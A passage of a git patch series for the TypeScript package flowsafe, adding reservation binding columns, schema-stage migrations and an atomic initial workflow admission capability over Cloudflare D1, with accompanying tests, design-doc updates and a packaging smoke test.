StartReservationRow[] { + if ( + result === null || + typeof result !== 'object' || + ('success' in result && result.success !== true) || + !('results' in result) || + !Array.isArray(result.results) + ) { + throw new Error('reservation statement returned an invalid result'); + } + for (const row of result.results) { + if (row === null || typeof row !== 'object' || Array.isArray(row)) { + throw new Error('reservation statement returned an invalid row'); + } + } + return result.results; +} + +function reservationBinding( + row: StartReservationRow, + schemaStage: StartReservationSchemaStage, +): StartReservationBinding { + let stage = 0; + let missing = false; + for (const [name] of START_IDEMPOTENCY_COLUMNS.slice(10)) { + if (Object.hasOwn(row, name)) { + if (missing) + throw new ReservationSchemaError('binding prefix has a hole'); + stage += 1; + } else missing = true; + } + if (stage > schemaStage) + throw new ReservationSchemaError('schema observation precedes row binding'); + if (stage < 3) { + for (const [name] of START_IDEMPOTENCY_COLUMNS.slice(10, 10 + stage)) { + if (row[name] !== null) + throw new ReservationSchemaError( + 'partial binding is not legacy defaults', + ); + } + return { kind: 'legacy' }; + } + const { + start_token: token, + start_table_prefix: prefix, + start_workflow_id: workflowId, + } = row; + if (prefix === null && workflowId === null) { + if (token === null) return { kind: 'legacy' }; + if (token === '') return { kind: 'unbound' }; + } + const execution = normalizeRunExecutionIdentity({ + tablePrefix: prefix, + workflowId, + runId: row.run_id, + startToken: token, + }); + if (execution.tablePrefix !== prefix) + throw new ReservationSchemaError('binding prefix is not canonical'); + normalizeStartIdentity({ + owner: { kind: row.owner_kind, id: row.owner_id }, + target: { + kind: row.target_kind, + id: row.target_id, + ...(row.thread_id === null ? {} : { threadId: row.thread_id }), + }, + }); + return { kind: 'bound', execution }; } function isStartReservationState( @@ -584,7 +691,14 @@ function isEpochMs(value: unknown): value is number { * starting since 1970. Refusing the row keeps both faults visible as the 503 * they are. */ -function reservationFromRow(row: StartReservationRow): StartReservation { +function reservationFromRow( + row: StartReservationRow, + schemaStage: StartReservationSchemaStage, +): StartReservationReading { + for (const [name] of START_IDEMPOTENCY_COLUMNS.slice(0, 10)) { + if (!Object.hasOwn(row, name)) + throw new ReservationSchemaError(`row is missing ${name}`); + } const { key, owner_kind: ownerKind, @@ -608,9 +722,7 @@ function reservationFromRow(row: StartReservationRow): StartReservation { !isEpochMs(createdAt) || !isEpochMs(updatedAt) ) { - throw new StartReservationUnreadableError( - typeof key === 'string' ? key : '(unknown)', - ); + throw new Error('start reservation row is malformed'); } return { key, @@ -622,6 +734,7 @@ function reservationFromRow(row: StartReservationRow): StartReservation { state, createdAt, updatedAt, + binding: reservationBinding(row, schemaStage), }; } @@ -708,8 +821,15 @@ export class StartIdempotencyStore { ) { this.#db = db; this.#now = options.now ?? Date.now; - if (options.ready) { - this.#ready = options.ready; + const ready = options.ready; + if (ready) { + this.#ready = async () => { + await Reflect.apply(ready, this, []); + if ((await this.#schemaStage()) !== 3) + throw new ReservationSchemaError( + 'host readiness did not reach the current schema', + ); + }; } else { let ready: Promise | undefined; this.#ready = () => { @@ -742,12 +862,13 @@ export class StartIdempotencyStore { ): Promise { const key = assertKey(request.key); const owner = assertOwner(request.owner); - if (!isStartTargetKind(request.targetKind)) { + const { targetKind, targetId, threadId, mintRunId } = request; + if (!isStartTargetKind(targetKind)) { throw new InvalidStartIdempotencyRequestError( `target kind must be one of ${START_TARGET_KINDS.join(', ')}`, ); } - if (!isPathSafeId(request.targetId)) { + if (!isPathSafeId(targetId)) { throw new InvalidStartIdempotencyRequestError( 'target id must be a URL-path-safe identifier', ); @@ -757,19 +878,28 @@ export class StartIdempotencyStore { // one is a run a retry can never reach, and a workflow reservation WITH one // is a second, silently divergent copy of an address that is already // derivable from (workflowId, runId). - if (request.targetKind === 'agent') { - if (!isPathSafeId(request.threadId)) { + if (targetKind === 'agent') { + if (!isPathSafeId(threadId)) { throw new InvalidStartIdempotencyRequestError( 'an agent start reservation requires a URL-path-safe threadId', ); } - } else if (request.threadId !== undefined) { + } else if (threadId !== undefined) { throw new InvalidStartIdempotencyRequestError( 'threadId applies only to agent start reservations', ); } - await this.#ready(); - const candidateRunId = request.mintRunId(); + if (typeof mintRunId !== 'function') { + throw new InvalidStartIdempotencyRequestError( + 'mintRunId must be a function', + ); + } + try { + await this.#ready(); + } catch (error) { + throw new StartReservationUnreadableError(key, { cause: error }); + } + const candidateRunId = Reflect.apply(mintRunId, request, []); if (!isPathSafeId(candidateRunId)) { throw new InvalidStartIdempotencyRequestError( 'the host minted a runId that is not URL-path-safe', @@ -788,10 +918,10 @@ export class StartIdempotencyStore { key, owner.kind, owner.id, - request.targetKind, - request.targetId, + targetKind, + targetId, candidateRunId, - request.threadId ?? null, + threadId ?? null, now, now, ) @@ -809,10 +939,7 @@ export class StartIdempotencyStore { if (stored.owner.kind !== owner.kind || stored.owner.id !== owner.id) { throw new StartReservationOwnerMismatchError(key); } - if ( - stored.targetKind !== request.targetKind || - stored.targetId !== request.targetId - ) { + if (stored.targetKind !== targetKind || stored.targetId !== targetId) { throw new StartReservationTargetMismatchError(key, stored); } // Both signals must agree before this caller believes it created the row. @@ -905,31 +1032,149 @@ export class StartIdempotencyStore { * An absent TABLE reads as an absent reservation, because on a deployment * where no key has ever been used those are the same fact. */ - async read(key: string): Promise { + async read(key: string): Promise { const safeKey = assertKey(key); - let rows: StartReservationRow[]; + const rows = await this.#readReservations( + `SELECT * FROM ${START_IDEMPOTENCY_TABLE} WHERE key = ? LIMIT 2`, + [safeKey], + safeKey, + ); + if (rows.length > 1 || (rows[0] !== undefined && rows[0].key !== safeKey)) { + throw new StartReservationUnreadableError(safeKey, { + cause: new Error( + 'reservation query did not return the requested singleton key', + ), + }); + } + const row = rows[0]; + return row; + } + + async #schemaStage(): Promise { + const columns = reservationResultRows( + await this.#db + .prepare(`PRAGMA table_xinfo(${START_IDEMPOTENCY_TABLE})`) + .all(), + ); + if (columns.length === 0) return undefined; + if ( + columns.length < 10 || + columns.length > START_IDEMPOTENCY_COLUMNS.length + ) { + throw new ReservationSchemaError('unexpected columns'); + } + for (const [index, actual] of columns.entries()) { + const expected = START_IDEMPOTENCY_COLUMNS[index]; + if (expected === undefined) + throw new ReservationSchemaError('unexpected columns'); + const [name, type, notnull, pk] = expected; + if ( + actual.name !== name || + actual.type !== type || + actual.notnull !== notnull || + actual.pk !== pk || + actual.dflt_value !== null || + actual.hidden !== 0 + ) { + throw new ReservationSchemaError(`column ${name} differs`); + } + } + return (columns.length - 10) as StartReservationSchemaStage; + } + + async #readReservations( + sql: string, + bindings: readonly unknown[], + key: string, + ): Promise { try { - rows = ( - await this.#db - .prepare( - `SELECT key, owner_kind, owner_id, target_kind, target_id, run_id, - thread_id, state, created_at, updated_at - FROM ${START_IDEMPOTENCY_TABLE} WHERE key = ?`, - ) - .bind(safeKey) - .all() - ).results; + let result: unknown; + try { + result = await this.#db + .prepare(sql) + .bind(...bindings) + .all(); + } catch (error) { + if (isMissingReservationTable(error)) return []; + throw error; + } + const rows = reservationResultRows(result); + const stage = await this.#schemaStage(); + if (stage === undefined) + throw new ReservationSchemaError('row observation has no schema'); + return rows.map((row) => reservationFromRow(row, stage)); } catch (error) { - if (isMissingReservationTable(error)) return undefined; - throw new StartReservationUnreadableError(safeKey, { cause: error }); + throw new StartReservationUnreadableError(key, { cause: error }); } - const row = rows[0]; - return row === undefined ? undefined : reservationFromRow(row); + } + + async #migrationStage(): Promise { + const stage = await this.#schemaStage(); + if (stage === undefined) + throw new ReservationSchemaError( + 'table is missing during initialization', + ); + if (stage === 0 || stage === 3) return stage; + const predicate = START_IDEMPOTENCY_COLUMNS.slice(10, 10 + stage) + .map(([name]) => `${name} IS NOT NULL`) + .join(' OR '); + const rows = reservationResultRows( + await this.#db + .prepare( + `SELECT * FROM ${START_IDEMPOTENCY_TABLE} WHERE ${predicate} LIMIT 1`, + ) + .all(), + ); + const observed = await this.#schemaStage(); + if (observed === undefined || observed < stage) + throw new ReservationSchemaError( + 'schema regressed during initialization', + ); + if (rows.length > 1) + throw new ReservationSchemaError( + 'partial binding query returned multiple rows', + ); + for (const row of rows) reservationFromRow(row, observed); + return observed; } /** Create the table and its two access paths. Only `reserve()` reaches this. */ async #createSchema(): Promise { - await this.#db.prepare(START_IDEMPOTENCY_DDL).run(); + if ((await this.#schemaStage()) === undefined) { + await this.#db.prepare(START_IDEMPOTENCY_DDL).run(); + } + for ( + let index: number = await this.#migrationStage(); + index < START_IDEMPOTENCY_ADDITIONS.length; + index += 1 + ) { + const stage = await this.#migrationStage(); + if (stage < index) + throw new ReservationSchemaError( + 'schema regressed during initialization', + ); + if (stage > index) continue; + try { + await this.#db + .prepare( + `ALTER TABLE ${START_IDEMPOTENCY_TABLE} ADD COLUMN ${START_IDEMPOTENCY_ADDITIONS[index]}`, + ) + .run(); + } catch (error) { + let observed: StartReservationSchemaStage | undefined; + try { + observed = await this.#schemaStage(); + } catch (readError) { + if (readError instanceof ReservationSchemaError) throw readError; + throw error; + } + if (observed === undefined || observed <= index) throw error; + } + } + if ((await this.#schemaStage()) !== 3) + throw new ReservationSchemaError( + 'initialization did not reach the current schema', + ); await this.#db.prepare(START_IDEMPOTENCY_RUN_INDEX_DDL).run(); await this.#db.prepare(START_IDEMPOTENCY_STATE_INDEX_DDL).run(); } @@ -941,29 +1186,22 @@ export class StartIdempotencyStore { */ async reservationsForRuns( runIds: readonly string[], - ): Promise { + ): Promise { const safeRunIds = runIds.filter((runId) => isPathSafeId(runId)); if (safeRunIds.length === 0) return []; const placeholders = safeRunIds.map(() => '?').join(', '); - let rows: StartReservationRow[]; - try { - rows = ( - await this.#db - .prepare( - `SELECT key, owner_kind, owner_id, target_kind, target_id, run_id, - thread_id, state, created_at, updated_at - FROM ${START_IDEMPOTENCY_TABLE} WHERE run_id IN (${placeholders})`, - ) - .bind(...safeRunIds) - .all() - ).results; - } catch (error) { - if (isMissingReservationTable(error)) return []; + const rows = await this.#readReservations( + `SELECT * FROM ${START_IDEMPOTENCY_TABLE} WHERE run_id IN (${placeholders})`, + safeRunIds, + '(run lookup)', + ); + const requested = new Set(safeRunIds); + if (rows.some((row) => !requested.has(row.runId))) { throw new StartReservationUnreadableError('(run lookup)', { - cause: error, + cause: new Error('reservation lookup returned an unrequested run'), }); } - return rows.map((row) => reservationFromRow(row)); + return rows; } async #casState( diff --git a/packages/flowsafe/src/execution-entry-matrix.test.ts b/packages/flowsafe/src/execution-entry-matrix.test.ts index 8395188d..67d5d98c 100644 --- a/packages/flowsafe/src/execution-entry-matrix.test.ts +++ b/packages/flowsafe/src/execution-entry-matrix.test.ts @@ -1080,6 +1080,13 @@ const FENCE_ERROR_AUTHORS: ReadonlyArray<{ anchor: string; beforeExecutionEffect: string; }> = [ + { + file: 'do-runner/execution-admission.ts', + error: 'ExecutionFenceUnreadableError', + anchor: 'const current = candidate?.mutationEpoch;', + beforeExecutionEffect: + 'The public epoch helper rejects malformed reading metadata before returning an admission comparison; it performs no execution.', + }, { file: 'approval-api/service.ts', error: 'ExecutionFencedError', diff --git a/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts b/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts index dac73604..4933c9c6 100644 --- a/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts +++ b/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts @@ -1980,6 +1980,108 @@ describe('createFlowsafeWorker execution-fence administration', () => { }); } + it('keeps complete proof identity out of admin success and conflict payloads', async () => { + const worker = makeWorker(); + const { env, ctx } = makeEnv(); + env.MAINTENANCE_ADMIN_SECRET = ADMIN_SECRET; + const command = { + expected: 'open', + next: 'proof-only', + proofKey: 'key', + expectedMutationEpoch: 0, + expectedRevision: 0, + }; + expect( + ( + await worker.fetch( + fenceRequest({ method: 'POST', body: command }), + env, + ctx, + ) + ).status, + ).toBe(200); + await env.DB.prepare( + "UPDATE flowsafe_execution_fence SET proof_run_id = 'run', proof_table_prefix = 'tenant_', proof_workflow_id = 'workflow', proof_start_token = 'private-generation'", + ).run(); + const before = ( + await env.DB.prepare('SELECT * FROM flowsafe_execution_fence').all() + ).results; + const expected = { + state: 'proof-only', + mutationEpoch: 0, + requireMutationEpoch: false, + transitionRevision: 1, + proofKey: 'key', + proofRunId: 'run', + }; + for (const request of [ + fenceRequest({ method: 'GET' }), + fenceRequest({ method: 'POST', body: command }), + ]) { + const response = await worker.fetch(request, env, ctx); + expect(response.status).toBe(200); + expect(await response.json()).toEqual(expected); + } + expect( + (await env.DB.prepare('SELECT * FROM flowsafe_execution_fence').all()) + .results, + ).toEqual(before); + const conflict = await worker.fetch( + fenceRequest({ + method: 'POST', + body: { ...command, expectedRevision: 2 }, + }), + env, + ctx, + ); + expect(conflict.status).toBe(409); + expect(await conflict.json()).toEqual({ + error: 'execution fence transition conflicts with the current reading', + reason: { + code: 'FENCE_CAS_CONFLICT', + ...expected, + conflict: 'expectation-mismatch', + }, + }); + const reset = await worker.fetch( + fenceRequest({ + method: 'POST', + body: { + expected: 'proof-only', + next: 'proof-only', + proofKey: 'key', + expectedMutationEpoch: 0, + expectedRevision: 1, + proofExecution: { startToken: 'forged' }, + }, + }), + env, + ctx, + ); + expect(reset.status).toBe(200); + expect(await reset.json()).toEqual({ + state: 'proof-only', + mutationEpoch: 0, + requireMutationEpoch: false, + transitionRevision: 2, + proofKey: 'key', + }); + expect( + ( + await env.DB.prepare( + 'SELECT proof_run_id, proof_table_prefix, proof_workflow_id, proof_start_token FROM flowsafe_execution_fence', + ).all() + ).results, + ).toEqual([ + { + proof_run_id: null, + proof_table_prefix: null, + proof_workflow_id: null, + proof_start_token: null, + }, + ]); + }); + it('returns versioned readings for both admin methods', async () => { // #given const worker = makeWorker(); diff --git a/packages/flowsafe/src/host-kit/index.ts b/packages/flowsafe/src/host-kit/index.ts index 630f9b1c..1646c612 100644 --- a/packages/flowsafe/src/host-kit/index.ts +++ b/packages/flowsafe/src/host-kit/index.ts @@ -14,6 +14,27 @@ // `@proofoftech/flowsafe/host-kit/module` — which only authors (who already // depend on breakwater for their connectors) need to reach for. See module.ts. +export { + assertMutationEpoch, + type D1RunExecutionIdentity, + type D1StartExecutionIdentity, + ExecutionFenceUnreadableError, + InvalidExecutionIdentityError, + InvalidMutationEpochError, + MUTATION_EPOCH_HEADER, + type MutationEpochContext, + MutationEpochMismatchError, + mutationEpochFromHeader, + normalizeD1RunExecutionIdentity, + normalizeMutationEpoch, + normalizeRunExecutionIdentity, + normalizeStartExecutionIdentity, + normalizeStartIdentity, + type RunExecutionIdentity, + type StartExecutionIdentity, + type StartIdentity, + stampMutationEpoch, +} from '../do-runner/execution-admission.js'; export { type ExecutionFenceReading, type ExecutionFenceTransition, From f8834a3c82785c8e458765179428521109307ca1 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sun, 6 Sep 2026 15:12:26 +0400 Subject: [PATCH 077/169] feat(flowsafe): add atomic initial workflow admission --- .changeset/sticky-fence-epochs.md | 2 + docs/do-runner-design.md | 26 +- .../flowsafe/scripts/agent-host-pack-test.mjs | 72 + .../src/background-tasks/d1-storage.test.ts | 213 ++- .../src/background-tasks/d1-storage.ts | 23 +- .../flowsafe/src/do-runner/d1-storage.test.ts | 137 +- packages/flowsafe/src/do-runner/d1-storage.ts | 106 +- .../src/do-runner/execution-admission.test.ts | 22 + .../src/do-runner/execution-admission.ts | 28 + .../src/do-runner/execution-fence.test.ts | 148 ++ .../flowsafe/src/do-runner/execution-fence.ts | 87 +- .../do-runner/fenced-workflow-capability.ts | 63 + .../src/do-runner/fenced-workflows-d1.test.ts | 1446 +++++++++++++++++ .../src/do-runner/fenced-workflows-d1.ts | 1012 ++++++++++++ packages/flowsafe/src/do-runner/index.ts | 16 + .../initial-admission-refusal.test.ts | 97 ++ .../do-runner/initial-admission-refusal.ts | 60 + .../src/do-runner/run-provenance.test.ts | 156 ++ .../flowsafe/src/do-runner/run-provenance.ts | 152 ++ .../src/do-runner/run-storage-tables.ts | 4 + .../src/do-runner/sqlite-fixture.test.ts | 79 + .../src/do-runner/start-idempotency.test.ts | 210 +++ .../src/do-runner/start-idempotency.ts | 160 +- .../flowsafe/src/do-runner/table-prefix.ts | 5 +- .../do-runner/workflow-snapshot-row.test.ts | 207 +++ .../src/do-runner/workflow-snapshot-row.ts | 145 ++ .../src/execution-entry-matrix.test.ts | 506 +++++- packages/flowsafe/src/host-kit/index.ts | 15 + packages/flowsafe/test-support/sqlite.ts | 12 +- 29 files changed, 5064 insertions(+), 145 deletions(-) create mode 100644 packages/flowsafe/src/do-runner/fenced-workflow-capability.ts create mode 100644 packages/flowsafe/src/do-runner/fenced-workflows-d1.test.ts create mode 100644 packages/flowsafe/src/do-runner/fenced-workflows-d1.ts create mode 100644 packages/flowsafe/src/do-runner/initial-admission-refusal.test.ts create mode 100644 packages/flowsafe/src/do-runner/initial-admission-refusal.ts create mode 100644 packages/flowsafe/src/do-runner/run-provenance.test.ts create mode 100644 packages/flowsafe/src/do-runner/run-provenance.ts create mode 100644 packages/flowsafe/src/do-runner/run-storage-tables.ts create mode 100644 packages/flowsafe/src/do-runner/sqlite-fixture.test.ts create mode 100644 packages/flowsafe/src/do-runner/workflow-snapshot-row.test.ts create mode 100644 packages/flowsafe/src/do-runner/workflow-snapshot-row.ts diff --git a/.changeset/sticky-fence-epochs.md b/.changeset/sticky-fence-epochs.md index 6d49a3a0..5a7f329c 100644 --- a/.changeset/sticky-fence-epochs.md +++ b/.changeset/sticky-fence-epochs.md @@ -9,3 +9,5 @@ Upgrade supported legacy fence schemas additively without changing existing stat Add execution-identity and mutation-epoch validation/header helpers through do-runner and host-kit. Identity normalizers return frozen copies, preserve explicit unfenced namespaces, and validate identifiers without granting authority. Preserve the existing execution-fence unreadable error constructor across import paths. Read additive reservation bindings and D1 proof identities, preserving active fence metadata during schema upgrades. Admin responses omit proof identity and tokens. Current reservation writes remain legacy-null, and Runtime provenance, lifecycle APIs, and run-ID-based predicates retain their existing behavior; automatic generation binding and final-write enforcement are not enabled by these additions. + +Add an explicit same-binding D1 initial-admission capability with atomic snapshot, winning reservation and proof writes, exact raw reads, and scoped no-insert evidence. Default and serialized background workflow domains support it while ordinary unscoped writes retain adapter behavior. Built-in Runtime and hosts do not yet activate this primitive; complete recovery and writer integration remain required before artifact-epoch enforcement is enabled. diff --git a/docs/do-runner-design.md b/docs/do-runner-design.md index 18e007f5..e87f605b 100644 --- a/docs/do-runner-design.md +++ b/docs/do-runner-design.md @@ -174,9 +174,13 @@ Store reads are uncached and require an authoritative database binding, not an u `flowsafe_start_idempotency` stores owner, target, server-minted run ID, reservation state, and timestamps. The claim from `reserved` to `started` is the cross-isolate serializer. Terminal run cleanup pairs snapshot and reservation retention so a spent key remains distinguishable from a fresh key until its configured horizon expires. -Reservation reads also return a `binding`: `legacy` for an unassociated old-format row, `unbound` for a modern row awaiting association, or `bound` with an execution identity. A bound identity has `tablePrefix`, `workflowId`, `runId`, and `startToken`. A null prefix explicitly asserts no D1 namespace; it differs from the empty string, which identifies the default D1 tables. Schema upgrades preserve existing rows and add nullable binding columns. Current reservation writes still produce legacy bindings; automatic generation binding is not enabled. +Reservation reads also return a `binding`: `legacy` for an unassociated old-format row, `unbound` for a modern row awaiting association, or `bound` with an execution identity. A bound identity has `tablePrefix`, `workflowId`, `runId`, and `startToken`. A null prefix explicitly asserts no D1 namespace; it differs from the empty string, which identifies the default D1 tables. -The fence can retain a complete D1 proof identity alongside `proofRunId`. Store readings expose it as `proofExecution`; admin JSON excludes that identity and its token. Adding its nullable columns preserves active epochs, revisions, receipts, proof fields, and timestamps. Provisioning validates structural schema metadata; Runtime additionally validates proof identifiers and canonical prefixes. Provisioning does not repair corrupt identity or receipt bytes. These representations do not change the current run-ID-based execution predicates. +Schema upgrades preserve existing rows and add nullable binding columns. Current reservation writes still produce legacy bindings; automatic generation binding is not enabled. + +The fence can retain a complete D1 proof identity alongside `proofRunId`. Store readings expose it as `proofExecution`; admin JSON excludes that identity and its token. Adding its nullable columns preserves active epochs, revisions, receipts, proof fields, and timestamps. + +Provisioning validates structural schema metadata; Runtime additionally validates proof identifiers and canonical prefixes. Provisioning does not repair corrupt identity or receipt bytes. These representations do not change the current run-ID-based execution predicates. ### Validate execution identity data @@ -191,10 +195,26 @@ The `do-runner` and `host-kit` entry points export identity and mutation-epoch h | `normalizeMutationEpoch` | Accepts undefined or a nonnegative safe-integer number without string coercion | | `assertMutationEpoch` | Compares an already-observed fence reading to a supplied epoch; it does not make a later write atomic | -Invalid identity or epoch input returns the corresponding `INVALID_EXECUTION_IDENTITY` or `INVALID_MUTATION_EPOCH` error with status 400. An active epoch mismatch returns `MUTATION_EPOCH_MISMATCH` with status 409 and a `missing`, `stale`, or `future` classification. Malformed reading metadata remains `EXECUTION_FENCE_UNREADABLE` with status 503. +Invalid identity or epoch input throws the corresponding `INVALID_EXECUTION_IDENTITY` or `INVALID_MUTATION_EPOCH` error with status 400. An active epoch mismatch throws `MUTATION_EPOCH_MISMATCH` with status 409 and a `missing`, `stale`, or `future` classification. Malformed reading metadata remains `EXECUTION_FENCE_UNREADABLE` with status 503. `MUTATION_EPOCH_HEADER`, `mutationEpochFromHeader`, and `stampMutationEpoch` encode canonical decimal epochs for a trusted internal channel. Authenticate that channel before interpreting its header. The helpers do not add host forwarding or request enforcement; activation still requires final-write support from every writer. +### Use explicit initial-admission scopes + +`createD1Storage()` composes `FencedWorkflowsStorageD1` as its default workflow domain. Explicit custom or disabled workflow domains retain precedence. The serialized background workflow domain extends the same class and retains its existing per-run update lock. Outside an explicit admission scope, both classes delegate persistence to the pinned D1 adapter. + +Advanced trusted integrations can obtain `FENCED_WORKFLOW_STORAGE` from the actual workflow domain. The capability exists only for a selected raw binding with transactional `batch()` support; standalone client and REST configurations retain ordinary adapter behavior without that capability. Fence and participating reservation stores must hold that exact binding. The capability reports its actual lowercase table prefix, with the empty string identifying the default namespace. + +Call `withInitialAdmission(admission, () => workflow.createRun(...))` around initial Core creation only. Supply a server-generated generation token, the original caller epoch and proof observation, and a coherent trusted v2 request context. A keyed call also requires an already-started modern-unbound reservation; current reservation creation does not emit that representation automatically. Both callbacks are invoked as plain functions; use a closure or bound function when you need a receiver. + +The initial conditional INSERT atomically chains its winning reservation and proof bindings. Only a positive exact witness permits the caller to invoke the returned Run’s `start()` after the scope ends. Suppressed pending persistence, a cached/existing Run, or another domain’s write does not supply that witness. + +Admission stamps `initialAdmission: true` into the stored provenance. Ordinary updates can preserve that stamp while changing the row’s bytes or status. The marker alone proves neither an unchanged initial row, lack of progress, nor absence of effects. Inspect the full authoritative row and its execution identity; this primitive does not activate marker-based Runtime recovery. + +A validated all-zero batch changes no participant. `isDefinitiveInitialAdmissionRefusal(error, execution)` recognizes only package-owned, in-process evidence for that exact execution, including bounded cause wrappers. It never authorizes deleting a durable snapshot. A thrown batch converges only on matching raw bytes and every required binding; malformed returned results and uncertain readbacks cannot grant a witness. + +`readSnapshot()` returns an immutable observation of the six stored fields without Core cache fallback or timestamp conversion. Built-in Runtime still emits v1 and does not enter these scopes. Host integration, exact recovery and final schedule enforcement remain prerequisites for activating artifact epochs; this low-level primitive does not complete that rollout. + ### Snapshot provenance Flowsafe stores trusted run provenance under reserved request-context keys in the same authoritative snapshot as the workflow state. Provenance records the initiating actor, a per-leg attempt token, and a monotonic ordinal per run and step: diff --git a/packages/flowsafe/scripts/agent-host-pack-test.mjs b/packages/flowsafe/scripts/agent-host-pack-test.mjs index 42b2745f..c02e8660 100644 --- a/packages/flowsafe/scripts/agent-host-pack-test.mjs +++ b/packages/flowsafe/scripts/agent-host-pack-test.mjs @@ -14,6 +14,7 @@ import { createRequire } from 'node:module'; import { tmpdir } from 'node:os'; import { dirname, join, resolve } from 'node:path'; import { fileURLToPath } from 'node:url'; +import { ModuleKind, ScriptTarget, transpile } from 'typescript'; import { parse as parseYaml } from 'yaml'; import { assertAttwEsmPackage } from './attw-pack-check.mjs'; @@ -86,6 +87,16 @@ try { const manifest = JSON.parse( readFileSync(join(packageDirectory, 'package.json'), 'utf8'), ); + for (const leaf of ['fenced-workflows-d1', 'fenced-workflow-capability']) { + const declaration = readFileSync( + join(packageDirectory, 'dist', 'do-runner', `${leaf}.d.ts`), + 'utf8', + ); + assert.doesNotMatch( + declaration, + /node:async_hooks|AsyncLocalStorage|NodeJS| | null; const topologyOptions = null as AgentThreadTopologyOptions | null; const backgroundReads = null as BackgroundTaskReads | null; declare const bgHost: BackgroundTaskHost; +declare const domainConfig: ConstructorParameters[0]; +declare const admission: InitialRunAdmission; +const owned = new FencedWorkflowsStorageD1(domainConfig); +const capability: FencedWorkflowAdmissionCapability | undefined = owned[FENCED_WORKFLOW_STORAGE]; +if (capability) { + void capability.withInitialAdmission(admission, async () => ({ id: 'run' })); + void capability.readSnapshot({ workflowId: 'workflow', runId: 'run' }); +} void BREAKWATER_CONNECTOR_EXECUTION_KEY; void BREAKWATER_CONNECTOR_GRANTS_KEY; void connectorGrantsForLeg; @@ -367,6 +391,21 @@ void createRunRouter; }), ); run('pnpm', ['exec', 'tsc', '-p', 'tsconfig.json'], consumer); + writeFileSync( + join(consumer, 'tsconfig.es2022.json'), + JSON.stringify({ + extends: './tsconfig.json', + compilerOptions: { lib: ['ES2022'], types: [] }, + }), + ); + run('pnpm', ['exec', 'tsc', '-p', 'tsconfig.es2022.json'], consumer); + writeFileSync( + join(consumer, 'sqlite-fixture.mjs'), + transpile( + readFileSync(join(packageRoot, 'test-support', 'sqlite.ts'), 'utf8'), + { target: ScriptTarget.ES2022, module: ModuleKind.ESNext }, + ), + ); writeFileSync( join(consumer, 'runtime.mjs'), `import assert from 'node:assert/strict'; @@ -376,8 +415,15 @@ import * as approvals from '@proofoftech/flowsafe/approval-api'; import * as backgroundTasks from '@proofoftech/flowsafe/background-tasks'; import * as doRunner from '@proofoftech/flowsafe/do-runner'; import * as hostKit from '@proofoftech/flowsafe/host-kit'; +import { Mastra } from '@mastra/core/mastra'; +import { createStep, createWorkflow } from '@mastra/core/workflows'; +import { z } from 'zod'; +import { openSqlite, sqliteUnitDatabase } from './sqlite-fixture.mjs'; for (const name of [ 'createD1Storage', + 'FencedWorkflowsStorageD1', + 'isDefinitiveInitialAdmissionRefusal', + 'RunAdmissionConflictError', 'sweepExpiredRunDeadlines', 'ExecutionFenceStore', 'executionFenceFor', @@ -413,6 +459,32 @@ assert.equal(Array.isArray(doRunner.INVENTORY_DRAIN_PROOF.reachableFrom), true); assert.equal(typeof hostKit.createFlowsafeRunnerLifecycle, 'function'); assert.equal(typeof hostKit.createRunRouter, 'function'); assert.equal(typeof hostKit.createFlowsafeWorker, 'function'); +assert.equal(hostKit.FENCED_WORKFLOW_STORAGE, doRunner.FENCED_WORKFLOW_STORAGE); +assert.equal('FencedWorkflowsStorageD1' in hostKit, false); +const binding = sqliteUnitDatabase(openSqlite()); +const storage = doRunner.createD1Storage({ binding }); +let engineCalls = 0; +const workflow = createWorkflow({ id: 'packed-initial', inputSchema: z.object({}), outputSchema: z.object({}) }) + .then(createStep({ id: 'effect', inputSchema: z.object({}), outputSchema: z.object({}), execute: async () => { engineCalls += 1; return {}; } })) + .commit(); +new Mastra({ storage, workflows: { 'packed-initial': workflow } }); +await storage.init(); +const domain = await storage.getStore('workflows'); +assert.equal(domain instanceof doRunner.FencedWorkflowsStorageD1, true); +const capability = domain[doRunner.FENCED_WORKFLOW_STORAGE]; +assert.equal(capability.database, binding); +assert.equal(capability.tablePrefix, ''); +const execution = { tablePrefix: '', workflowId: workflow.id, runId: 'packed-run', startToken: 'packed-generation' }; +const admitted = await capability.withInitialAdmission({ execution, attemptToken: 'packed-correlation', + fence: new doRunner.ExecutionFenceStore(binding), onInitialWriteAttempt() {}, + requestContext: { 'flowsafe.runProvenance': { version: 2, startToken: execution.startToken, attemptToken: 'packed-correlation', resumeCounts: [] } }, +}, () => workflow.createRun({ runId: execution.runId })); +assert.deepEqual(admitted.witness.execution, execution); +assert.deepEqual(await capability.readSnapshot(execution), admitted.witness.row); +assert.equal(JSON.parse(admitted.witness.row.snapshot).status, 'pending'); +assert.equal(engineCalls, 0); +await admitted.value.start({ inputData: {} }); +assert.equal(engineCalls, 1); assert.equal( backgroundTasks.EXECUTION_FENCE_SUSPEND_KEY, 'flowsafe.executionFenced', diff --git a/packages/flowsafe/src/background-tasks/d1-storage.test.ts b/packages/flowsafe/src/background-tasks/d1-storage.test.ts index bac912d2..1f2aeeef 100644 --- a/packages/flowsafe/src/background-tasks/d1-storage.test.ts +++ b/packages/flowsafe/src/background-tasks/d1-storage.test.ts @@ -2,17 +2,28 @@ // D1 execution adapters: serialized workflow updates and deployment-wide task // listing/deletion over the same storage composition seam hosts use. -import { BackgroundTasksStorageD1 } from '@mastra/cloudflare-d1'; +import { + BackgroundTasksStorageD1, + type D1DomainConfig, +} from '@mastra/cloudflare-d1'; import type { BackgroundTask } from '@mastra/core/background-tasks'; import type { Mastra } from '@mastra/core/mastra'; import { createEmptyWorkflowSnapshot } from '@mastra/core/storage'; -import { describe, expect, it } from 'vitest'; +import { describe, expect, it, vi } from 'vitest'; import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js'; -import { createD1Storage } from '../do-runner/index.js'; +import { + createD1Storage, + ExecutionFenceStore, + FENCED_WORKFLOW_STORAGE, + FencedWorkflowsStorageD1, + type InitialAdmissionDatabase, +} from '../do-runner/index.js'; import { backgroundTasksStore, createBackgroundTaskD1Domains, + DurableObjectBackgroundTasksStorageD1, + DurableObjectWorkflowsStorageD1, } from './d1-storage.js'; describe('backgroundTasksStore — fail-closed accessor', () => { @@ -36,6 +47,202 @@ describe('backgroundTasksStore — fail-closed accessor', () => { }); describe('D1 execution domains', () => { + it.each([ + 'owned', + 'queued', + 'tasks', + ])('preserves selected adapter mode through the %s 